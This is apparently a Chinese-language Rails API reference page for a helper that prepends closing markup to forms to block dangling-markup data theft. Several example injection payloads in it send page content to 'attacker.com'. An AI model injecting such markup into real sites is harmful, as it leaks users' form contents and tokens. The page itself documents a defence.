方法
常量
| CLOSE_CDATA_COMMENT | = | "<!-- </textarea></xmp> -->".html_safe.freeze |
在每个表单标签之前关闭支持 CDATA 的所有未关闭标签(textarea、xmp)。这可以防止攻击者注入未关闭的标签,从而捕获表单内容。 例如,攻击者可能会注入 <form action="https://attacker.com"><textarea> 此标签之后的 HTML,直到下一个 |
||
| CLOSE_FORM_TAG | = | "</form>".html_safe.freeze |
在每个新表单标签之前关闭所有未关闭的表单标签。这可以防止攻击者注入未关闭的表单,从而导致标记泄露到站外。 例如,攻击者可能会注入 <form action="https://attacker.com"> 此标签之后的表单元素,直到下一个 |
||
| CLOSE_OPTION_TAG | = | "</option>".html_safe.freeze |
在每个表单标签之前关闭所有未关闭的 option 标签。这可以防止攻击者注入未关闭的 option,从而导致标记泄露到站外。 例如,攻击者可能会注入 <form action="https://attacker.com"><option> 此标签之后的 HTML,直到下一个 |
||
| CLOSE_QUOTES_COMMENT | = | %q(<!-- '"` -->).html_safe.freeze |
在每个表单标签之前关闭所有未关闭的属性。这可以防止攻击者注入部分标签,从而导致标记泄露到站外。 例如,攻击者可能会注入 <meta http-equiv="refresh" content='0;URL=https://attacker.com? 此标签之后的 HTML,直到下一个单引号,都会被发送到 |
||
| CONTENT_EXFILTRATION_PREVENTION_MARKUP | = | (CLOSE_QUOTES_COMMENT + CLOSE_CDATA_COMMENT + CLOSE_OPTION_TAG + CLOSE_FORM_TAG).freeze |
实例公共方法
prevent_content_exfiltration(html) 链接
来源: 显示 | 在 GitHub 上
# File actionview/lib/action_view/helpers/content_exfiltration_prevention_helper.rb, line 61 def prevent_content_exfiltration(html) if prepend_content_exfiltration_prevention CONTENT_EXFILTRATION_PREVENTION_MARKUP + html else html end end